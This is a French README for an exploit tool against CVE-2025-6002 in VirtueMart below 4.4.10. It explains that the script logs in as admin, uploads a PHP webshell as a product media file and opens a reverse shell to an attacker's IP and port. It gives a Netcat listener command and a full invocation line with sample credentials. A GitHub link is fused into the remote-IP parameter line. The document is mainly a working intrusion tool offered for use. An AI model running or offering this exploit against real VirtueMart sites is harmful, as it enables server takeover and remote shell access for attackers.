Exploit pour CVE-2025-6002

Ce script exploite la vulnérabilité de téléversement arbitraire de fichiers authentifié dans VirtueMart < 4.4.10 (CVE-2025-6002), décrite dans cet article de blog : https://blog.blacklanternsecurity.com/p/doomla-zero-days

Ce script se connecte à VirtueMart avec les identifiants fournis, crée un nouveau produit et téléverse un webshell PHP en tant que fichier média. Il invoque ensuite un reverse shell vers l'IP/le port fournis.

Paramètres :

• --url: l'URL de VirtueMart
• --username: nom d'utilisateur admin
• --password: mot de passe admin
• --remote-ip: adresse IP de l'attaquanthttps://github.com/schn1tzelme1ster/CVE-2025-6002/tree/main
• --remote-port: port de l'attaquant

Utilisation :

1. Exécutez Netcat sur la machine de l'attaquant :

nc -nlvp 1337

2. Exécutez l'exploit

python3 exploit.py --url http://x.x.x.x --username admin --password kartoffel --remote-ip x.x.x.x --remote-port 1337